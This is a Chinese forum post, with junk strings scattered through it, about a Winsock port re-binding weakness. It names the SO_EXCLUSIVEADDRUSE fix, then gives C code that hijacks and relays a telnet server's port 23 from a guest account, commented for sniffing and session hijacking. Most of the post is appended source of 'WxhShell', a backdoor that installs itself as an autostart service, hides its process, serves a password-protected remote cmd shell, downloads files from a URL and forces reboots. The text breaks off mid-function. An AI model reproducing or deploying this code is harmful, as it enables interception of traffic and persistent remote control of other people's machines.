-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8^ezqd` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #JIh-h@ Qg' {RAV8 saddr.sin_family = AF_INET; (2fWJ% 7VG Rw#4 |& saddr.sin_addr.s_addr = htonl(INADDR_ANY); Kzz]ZO*3 !e0~|8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ibIo1i//[ tf_<w?~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J'no{3Ktz d-sK{ZC"y 这意味着什么?意味着可以进行如下的攻击: |Wzdu2T ^E349c-| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %^ z##7^ j`pX2S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -OPJB:7Z hd)HJb-aR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L!
DK2, tj=l! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zs@xw@
}*s%|!{H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MeXGE ,ThN/GkSC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;u
"BCW T0=%RID%= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Lze8oY(D} zxffjz,Fe: #include c-gpO|4> #include POtwT">z #include (c=.?{U #include }:2GD0Ru DWORD WINAPI ClientThread(LPVOID lpParam); HbXYinG% int main() p&|:,|jo5 { hxQx$ WORD wVersionRequested; JXA!l?% DWORD ret; zUCtH* WSADATA wsaData; c^s%t:)K BOOL val; 9C2DW,? SOCKADDR_IN saddr; k-N`
h SOCKADDR_IN scaddr; `;vJ\$-< int err; x vx+a0 A SOCKET s; />q?H)6 SOCKET sc; 1so9w89 int caddsize; W|e$@u9 HANDLE mt; 6o4Bf| E] DWORD tid; >GV= % wVersionRequested = MAKEWORD( 2, 2 ); yE4X6 err = WSAStartup( wVersionRequested, &wsaData ); m/(f?M l if ( err != 0 ) { o@!Uds0 printf("error!WSAStartup failed!\n"); EmO{lCENk return -1; @0{vA\ } W+&<C#1|] saddr.sin_family = AF_INET; F T/STI 6)_svtg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PH]/*LEj 0M_~@E*& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jj$D6f/mOG saddr.sin_port = htons(23); 7g&"clRGO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oP CtLz}z { -cqR]'u printf("error!socket failed!\n"); 9p{7x[ C return -1; "Smek#l } dnW #" val = TRUE; R%\K<#^\ //SO_REUSEADDR选项就是可以实现端口重绑定的 y(w&6: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ap y#8] { XD=p:Ezh printf("error!setsockopt failed!\n"); zF-R$_]av return -1; Y)oF;ko: } NplWF\5y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .lt|$[" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2LqJ.HH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B
!}/4" \p%,g&^ x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :,'yHVG\ { H;.${u^lhd ret=GetLastError(); n
9X:s?B/ printf("error!bind failed!\n"); HJ]9e return -1; U6/$CH<pe } #o/ listen(s,2); #D2.RN while(1) Y"dUxv1Ap { p|f5w"QcH caddsize = sizeof(scaddr); )=]u]7p} //接受连接请求 -cL{9r&X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;[,r./XmH if(sc!=INVALID_SOCKET) f+xhS,iDR { 4[o/p8*/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cU if(mt==NULL) c ?H@HoF { 6myF!
H= printf("Thread Creat Failed!\n"); (n+FEE< break; @3_[NI% } ys~oJb~ } ZFH; CloseHandle(mt); 94CHxv } #i1z&b#@ closesocket(s); |Y")$pjz WSACleanup(); "gCqb;^ return 0; 6PyODW;R/5 }
P1>?crw DWORD WINAPI ClientThread(LPVOID lpParam) &4R-5i2a { h:3^FV SOCKET ss = (SOCKET)lpParam; J'H}e F` SOCKET sc; B65"jy unsigned char buf[4096]; k`u.:C& SOCKADDR_IN saddr; ObyF~j}j long num; ["65\GI? DWORD val; t 8,VR FV DWORD ret; 4/J"}S //如果是隐藏端口应用的话,可以在此处加一些判断 FIEA'kUy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =(cfo_B@K saddr.sin_family = AF_INET; 7(W"NF{r saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); snm1EPj saddr.sin_port = htons(23); u#^~([I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $FM:8^ { A]_5O8<buW printf("error!socket failed!\n"); G%#M17 return -1; /ho7O/aAa } ;T,`m^@zf val = 100; ]r\d 5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gj ka % { ^2}p%j> ret = GetLastError(); 4Y
`=`{Q return -1; WLkfo6Nw } Hph$Z1{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k0^t$J
W { >= VCKN2'j ret = GetLastError(); nSR<( -j! return -1; 1 LUvs~Qu } @5:#J! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t8_i[Hw6D { )~LqBh printf("error!socket connect failed!\n"); >9i%Yuy]( closesocket(sc); L_{gM`UFc closesocket(ss); e]k\dj;,^% return -1; ,E3Ze*(U } 746['sf4c while(1) tYST&5Kh~ { |Zm'! -_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d:{#Dk# //如果是嗅探内容的话,可以再此处进行内容分析和记录 [+.P'6/[$R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }h=}!R'm num = recv(ss,buf,4096,0); c)B
<d# if(num>0) 9JBVG~m+ send(sc,buf,num,0); 25wvB@0& else if(num==0) >uy(N break; ;/s##7qf num = recv(sc,buf,4096,0); `Dp_c&9] if(num>0) Zg;%$ kSQ send(ss,buf,num,0); 3"HX':8x else if(num==0) q2}6lf,J
K break; [Zj6v a } :9Mqwgk,;3 closesocket(ss); ,/Usyb,` closesocket(sc); 2'T uS? return 0 ; Y'eE({)<K } xI(t!aYp >yr1wVS sRaTRL2 ========================================================== t^5xq8w8 ;oGpB#[zO 下边附上一个代码,,WXhSHELL ^6i,PRScS d6vls7J/4 ========================================================== Q=n2frW(T XZH\HK)K-] #include "stdafx.h" k?VH4yA qfS
]vc_N #include <stdio.h> *)xjMTJ% #include <string.h> dQ`=CIr #include <windows.h> O;H|nW} #include <winsock2.h> r$<4_* #include <winsvc.h> rfHAz #include <urlmon.h> 1|/-Ff"1@ F|!
ib5 #pragma comment (lib, "Ws2_32.lib") 2Mw^EjR #pragma comment (lib, "urlmon.lib") 0*F<tg,+] k@Mt8Ln #define MAX_USER 100 // 最大客户端连接数 3#Qek2 #define BUF_SOCK 200 // sock buffer p|RFpn2ygF #define KEY_BUFF 255 // 输入 buffer \wM8I-f! fA" VLQE #define REBOOT 0 // 重启 -v & #define SHUTDOWN 1 // 关机 MYMg/>f[ :=e"D;5 #define DEF_PORT 5000 // 监听端口 ZMGthI}~- sMNhD/bb #define REG_LEN 16 // 注册表键长度 E9~}%& #define SVC_LEN 80 // NT服务名长度 PCs`aVZ H%G|8,4 // 从dll定义API hyVBQhk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %pBc]n@_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4ZCD@C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i&Xjbcbp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t~kh?u].j 'H8;(Rw // wxhshell配置信息 u)9YRMl struct WSCFG { L yNLz
m5 int ws_port; // 监听端口 7x//4G char ws_passstr[REG_LEN]; // 口令 $ )orXe| int ws_autoins; // 安装标记, 1=yes 0=no )Nnrsa char ws_regname[REG_LEN]; // 注册表键名 .)[0yW& char ws_svcname[REG_LEN]; // 服务名 .
l-eJ char ws_svcdisp[SVC_LEN]; // 服务显示名 GB8>R char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y@2v/O,\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Yu|LaI\<m int ws_downexe; // 下载执行标记, 1=yes 0=no 2P2/]-6s#r char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "fOxS\er char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1^AG/w DM=`hyf(v }; }2.0e5[ 9six]T // default Wxhshell configuration v18OUPPX struct WSCFG wscfg={DEF_PORT, v!6IH "xuhuanlingzhe", F/w*[Xi
Sh 1, $b`~K MO "Wxhshell", 4H_QQ6 "Wxhshell", v&r\Z @% "WxhShell Service", u )kQ*& "Wrsky Windows CmdShell Service", '@G=xYR "Please Input Your Password: ", -n~%v0D8c 1, <gu>06 " http://www.wrsky.com/wxhshell.exe", mJ JF "Wxhshell.exe" Vl`!6.F3 }; 5\.w\ a_U[!`/w // 消息定义模块 m,^UD{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X-j3=8wPM char *msg_ws_prompt="\n\r? for help\n\r#>"; @@"abhT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J L!:`#\ char *msg_ws_ext="\n\rExit."; (g3@3.Kk) char *msg_ws_end="\n\rQuit."; `L7Cf&W\l8 char *msg_ws_boot="\n\rReboot..."; f(E[jwy char *msg_ws_poff="\n\rShutdown..."; &@fW6},iW char *msg_ws_down="\n\rSave to "; xFp?+a >^J char *msg_ws_err="\n\rErr!"; |H&&80I char *msg_ws_ok="\n\rOK!"; h%8C_mA @r3,|tkrz char ExeFile[MAX_PATH]; y7U?nP ')+ int nUser = 0; g[ O6WZ!F_ HANDLE handles[MAX_USER]; 4`] int OsIsNt; b:(t22m#? NEW0dF&) SERVICE_STATUS serviceStatus; ZYs?65. SERVICE_STATUS_HANDLE hServiceStatusHandle; <8YIQA !P@4d G // 函数声明 u]MQ(@HHF int Install(void); fir#5,*q| int Uninstall(void); W-<`Vo' int DownloadFile(char *sURL, SOCKET wsh); (o518fmR int Boot(int flag); +6Ye'IOG void HideProc(void); 9" cyZO int GetOsVer(void); $ 9
k5a int Wxhshell(SOCKET wsl); 3"LT '' void TalkWithClient(void *cs); (7w95xI int CmdShell(SOCKET sock); K:54`UJ int StartFromService(void); v(~EO(n. int StartWxhshell(LPSTR lpCmdLine); sfzDE&>' 0`$fs.4c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z=9gok\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); &}!AjA) LX{mr{ // 数据结构和表定义 uxbLoE SERVICE_TABLE_ENTRY DispatchTable[] = 9=.7[-6i9 { }.r) {wscfg.ws_svcname, NTServiceMain}, dfWtLY {NULL, NULL} Ib2n Bg>j }; ;"JgNad 'c#AGi9 // 自我安装 W<T
Ui51Y int Install(void) (kL(:P/ { rAh|r}R char svExeFile[MAX_PATH]; ,*Wp$ HKEY key; [7h/ 2La# strcpy(svExeFile,ExeFile); l`rO)7 to(lE2`.da // 如果是win9x系统,修改注册表设为自启动 q+{yv if(!OsIsNt) { [E)&dl_k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*#$:waGd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "1%\Fi l RegCloseKey(key); }% `f%/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]e(\<R6Gf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'RZ0,SK' RegCloseKey(key); cS(=wC return 0; ?D['>Rzu } @nOuFX4 } zuI7Px }
3 EOuJ else { lu;gmWz *3rp
g // 如果是NT以上系统,安装为系统服务 N9 TM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gf70 O>E if (schSCManager!=0) )WsR
8tk { z-^/<u1p SC_HANDLE schService = CreateService ta0 ;:o?/d ( qJ[wVNHh! schSCManager, Oar%LSkPRz wscfg.ws_svcname, ,:%
h`P_ wscfg.ws_svcdisp, dpcU`$kt SERVICE_ALL_ACCESS, \d-9Ndp
nf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Rgl(Ba SERVICE_AUTO_START, k,LaFe`W SERVICE_ERROR_NORMAL, 7ea%mg\ svExeFile, TecWv@. NULL,
t|C?=:_ NULL, XwDt8TxL NULL, 8@r>`c NULL, >%A~ : NULL y(X^wC ); ?d_vD@+\ if (schService!=0) DaqlL { oF_
'<\ly= CloseServiceHandle(schService); ;i!$rL CloseServiceHandle(schSCManager); {v*X}`.h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H/l,;/q]b
strcat(svExeFile,wscfg.ws_svcname); lcXo> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )i[K1$x2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F&HvSt}l5 RegCloseKey(key); N`O0jH{ return 0; >N"=10 } )3^#CD } }ISR +./+ CloseServiceHandle(schSCManager); qRXHaQi@9 } \m(>Q } MbeK{8~E%l
&?#
YjU" return 1; #>2cfZ`6'J } LBIEG_/m l $0w 9Z^ // 自我卸载 _ME?o int Uninstall(void) b6g/SIae { ekd;sEO HKEY key; Ct]? / k#G+<7c< if(!OsIsNt) { ;}'Z2gZB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cFHSMRB|P RegDeleteValue(key,wscfg.ws_regname); @B9#Hrc RegCloseKey(key); S2?)Sb` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0aGAF ] RegDeleteValue(key,wscfg.ws_regname); eBqF@'DQ RegCloseKey(key); (I;lE*> return 0; A_+*b
[P } R)Dh; XA } [ZD`t,x( } X/H2c"!t else { u zL|yxt zLg_0r*h1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pIY3ft\ if (schSCManager!=0) ,irc=0M( { 4"eeEs h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hA+;eXy/ if (schService!=0) :@S=0|:j { 02C; if(DeleteService(schService)!=0) { A+VzpJ~ CloseServiceHandle(schService); aZ}z/.b] CloseServiceHandle(schSCManager); (, $Lp0mB7 return 0; n +dRAIqB }
5"w% CloseServiceHandle(schService); W3&~[DS@~ } 7eG@)5Uy CloseServiceHandle(schSCManager); ,.V=y% } aZCxyoh + } 0gr#<( 2>.>q9J( return 1; l#a*w } 4g?qKoc
i ,&jjpeZP // 从指定url下载文件 Mm%b8#Fe! int DownloadFile(char *sURL, SOCKET wsh) xI8v'[3 { hroRDD HRESULT hr; F8B:P7I char seps[]= "/"; 8},fu3Z char *token; JB HnJm char *file; r6L char myURL[MAX_PATH]; !%QbE[Kl> char myFILE[MAX_PATH]; Tx/KL%X !={QL : strcpy(myURL,sURL); ]%UAN_T token=strtok(myURL,seps); -;$jo- while(token!=NULL) ~HXZ-* {
sVP2$? file=token; CN7qqd token=strtok(NULL,seps); S.^x)5/,,T } ,62BZyT,T, 2Oy-jM GetCurrentDirectory(MAX_PATH,myFILE); Rr>"" strcat(myFILE, "\\"); _? u} Jy_ strcat(myFILE, file); P>
~Lx send(wsh,myFILE,strlen(myFILE),0); +N!/>w]n send(wsh,"...",3,0); |sDp>.. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YrTjHIn~w if(hr==S_OK) rH[Eh8j, return 0; A{Q~@1 else #b{;)C fL return 1; CxVrnb[`q q,(hs]\@ } E5$uvxCI ;MjOs&1f0K // 系统电源模块 fwaM ;YN_ int Boot(int flag) x2+M0 }g { -ha[xM05 HANDLE hToken; ;^P0+d^5C TOKEN_PRIVILEGES tkp; ~T&X#i dZ\T@9+j+ if(OsIsNt) { LY!.u?D`P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e{d$OzT) V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :#UN^ "(m} tkp.PrivilegeCount = 1; q|e<b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qFjnuQ,w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r'u[>uY if(flag==REBOOT) { 8C2!Wwz`J8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Dv&. return 0; 5va ;Ol4 } m`/!7wQs else { U&y?3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fhe%5#3 return 0; 3<HPZWc } r;8$ 7C. } P87qUC else { 6Q9S~YYq if(flag==REBOOT) { Q |^c5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b=Y3O return 0; l
#
F.S5i } Y--Uo|H else { U`ELd: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L@6T~ return 0; _1P8rc"Dx } z>W'Ra6 } *5;#+%A "_e/O&-cH return 1; GZ/vUe } 84maX' k'+Mc%pg4E // win9x进程隐藏模块 ]}dAm S/ void HideProc(void) NeY,Of| { woR }=\K T13Jn o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;923^*\:F{ if ( hKernel != NULL ) >zB0+l { I ?i,21:5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RDQK_Ef: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *7 >K" j FreeLibrary(hKernel); -AU!c^-o } n7K\\|X +W9#^ return; L\X2Olfz1 } i fbO< &(HIBF'O // 获取操作系统版本 q3R?8Mb int GetOsVer(void) kc70HrG { 4f>
s2I&pQ OSVERSIONINFO winfo; %q
7gl;' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n+uDg GetVersionEx(&winfo); "+J[7p}`@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I%31MU9 return 1; pwO
U6A! else j#E&u*IR return 0; |\
4cQ } %1VfTr5 W02swhS // 客户端句柄模块 4PAuEM/z int Wxhshell(SOCKET wsl) <',bqsg[ { >pn5nn1a SOCKET wsh; tXnD>H YV struct sockaddr_in client; 6,;7iA] DWORD myID; Fr ryZe= h ?%]uFJC while(nUser<MAX_USER) xiG_l-2l { DG"Z: ^`* int nSize=sizeof(client); \Lu] %} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tB7g.)yZb if(wsh==INVALID_SOCKET) return 1; x(/{]$h iSxuor^; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %t\~3pw= if(handles[nUser]==0) p8Wik<'^ closesocket(wsh); ZJ|'$=lR else >
H(o=39s nUser++; AjA.="3 } DQOEntw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ON<X1eU OAXF=V F# return 0; H '(Ky } Bys _8x} @fxDe[J: // 关闭 socket
@Iy&Qo void CloseIt(SOCKET wsh) ;v^1V+1:z { J 4OgV? closesocket(wsh); ,a/<t" nUser--; Cn>RUGoUsI ExitThread(0); D#G(&<Q } L cpz(W^ Y^@Nvt$<K // 客户端请求句柄 1WW`% void TalkWithClient(void *cs) R
s)Nz< d { dLnMd0 9!sR} SOCKET wsh=(SOCKET)cs; O}IRM|r" char pwd[SVC_LEN]; V,CVMbn/%N char cmd[KEY_BUFF]; IDpW5Dc char chr[1]; _Q1[t9P" int i,j; >'X[*:Cx L4L[@tMPmY while (nUser < MAX_USER) { CsND:m =fr_` "?k if(wscfg.ws_passstr) { _<i*{;kR6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #U j~F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7xmif YC //ZeroMemory(pwd,KEY_BUFF); #c:b8rw i=0; ZBAtRs while(i<SVC_LEN) { 3bW(VvgcL4 ;<=B I! // 设置超时 ~'9>jpnw fd_set FdRead; Ev7fvz = struct timeval TimeOut; .j)f'<;% FD_ZERO(&FdRead); b:w {7 FD_SET(wsh,&FdRead); ZNEWUt{+;^ TimeOut.tv_sec=8; D,H v(6({ TimeOut.tv_usec=0; 8Ekk"h6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PHh&@: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5#v|t\
{ C`0; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xi
=\] pwd =chr[0]; ^
|^Q( if(chr[0]==0xd || chr[0]==0xa) { LiF(#OuZ pwd=0; S!;:7?mq break; eJ23$VM+9 } d]*a:>58 i++; h NCoX*icd } A#6\5u "me
a*-XB // 如果是非法用户,关闭 socket S EeDq/h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eQRY xx{ } vF ,iHzv +=/FKzT< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WI$MT6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,9C~%c0Pw U- a+LS while(1) { hi30|^l- :nHa-N3 ZeroMemory(cmd,KEY_BUFF); pGO)9?j_N Dr!g$,9 // 自动支持客户端 telnet标准 ?U`~,oI0 j=0; RN%*3{- while(j<KEY_BUFF) { ,' m<YTF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *"pf3x6 cmd[j]=chr[0];
#H@rb if(chr[0]==0xa || chr[0]==0xd) { ]EhW cmd[j]=0; VkNg Vjg break; W_E0+ }
{|kEGq~aE j++; o=1M<dL } 6?3f+=e"~! =V@5W[bV // 下载文件 ~j`;$o if(strstr(cmd,"http://")) { A #y,B send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;L gxL
Qy; if(DownloadFile(cmd,wsh)) sr&hQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); f;nO$h[Qb else kT+Idu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X. =% } Ae0jfTv else { mQ@A3/= ` uP-I7l0i1 switch(cmd[0]) { v{Rj,Ou o"Dk`L2 // 帮助 2)A% 'Akf case '?': { xSQ:#o=8G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i'$V'x'k break; VR @V3 ~ } {F/0pvP9 // 安装 csPziH$wl case 'i': { nYcj6? if(Install()) z|o7k;raH send(wsh,msg_ws_err,strlen(msg_ws_err),0); fU )@Lj1Wo else mP@<UjxI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a}Dx"zl; break; FSs<A@ } D[7+xAwS // 卸载 )NoNgU\7! case 'r': { R3;,EL{H& if(Uninstall()) FG^Jh5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); fR&;E else 6,707h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '9+JaB break; }J~
d6m } R<J1bH1n3 // 显示 wxhshell 所在路径 _7h:NLd case 'p': { g8JO/s5xV char svExeFile[MAX_PATH]; <@DF0x! strcpy(svExeFile,"\n\r"); O]>FNsh ! strcat(svExeFile,ExeFile); !&$uq|- send(wsh,svExeFile,strlen(svExeFile),0); sUc_) break; eCDwY:t` } GI~JIXHTQ // 重启 yZ_6yJw3} case 'b': { }, < dGmkx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @2LpI*]C if(Boot(REBOOT)) s\)0f_I send(wsh,msg_ws_err,strlen(msg_ws_err),0); zPonG
d1 else { 7wivu*0 closesocket(wsh); Md4hd#z ExitThread(0); HinPO } mzh8<w?ns break; {<~oa+" } $S_xrrE# // 关机 M x/G^yO9 case 'd': { :7,j%ELic send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rjFIK`_w if(Boot(SHUTDOWN)) XYi-o][Mf send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,G q? else { e5g# a} closesocket(wsh); A&d67,&B ExitThread(0); 4O TuX! } r~K5jL%z9 break; ZU=omRh5
} xppl6v( // 获取shell 9;\a|8O case 's': { @>r3=s.Q CmdShell(wsh); gQ< >S closesocket(wsh); *LaL('.> ExitThread(0); g[D(]t\#x break; Y<4%4>a } -x~4@~ // 退出 WE-cq1) case 'x': { s?fO)7ly send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u<VR;p:y CloseIt(wsh); k10g %K4g break;
9BZyCz } 5^,"Ve| // 离开 +N|}6e case 'q': { &V`~ z
e send(wsh,msg_ws_end,strlen(msg_ws_end),0); ftr8~*]O closesocket(wsh); 9+"R}Nxv^ WSACleanup(); ~`xaBz0q exit(1); gMGX)Y ,=/ break; AYVkJq ? } I"=a:q } c#ahFpsnlw } 6njwrqo n A<#A // 提示信息 F}f/cG<X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c'wxCqnE
} Y<]A5cm } w$aiVOjgT X6T*?t3!9[ return; \>DMN # } R{3?`x!fY bAUruTn // shell模块句柄 O`;e^PhN int CmdShell(SOCKET sock) [Yq*DkW { Y"n$d0% STARTUPINFO si; 1edeV48{: ZeroMemory(&si,sizeof(si)); IO@Ti(, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0SHF 8kek si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z]twh&^1L PROCESS_INFORMATION ProcessInfo; TtWE:xE char cmdline[]="cmd"; dcd9AW= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Fk]hCL return 0; {o."T/?d' } _^k9!Vjo @@1Sxv_ // 自身启动模式 @VzD>?) int StartFromService(void) g'%^-S ] { kKFhbHUZa typedef struct #:)yh]MP { pX/42W DWORD ExitStatus; )y .1}R2[ DWORD PebBaseAddress; 7m<;"e) DWORD AffinityMask; tO@n3"O DWORD BasePriority; ?V{APM$x ULONG UniqueProcessId; $`wo8A|) ULONG InheritedFromUniqueProcessId; Dcep^8' } PROCESS_BASIC_INFORMATION; z6Xn9 6^+T_{gl PROCNTQSIP NtQueryInformationProcess; Zv"qA ?BEO(;' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xoYaL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G@N-+ a,YU)v^ HANDLE hProcess; eyIbjgpV 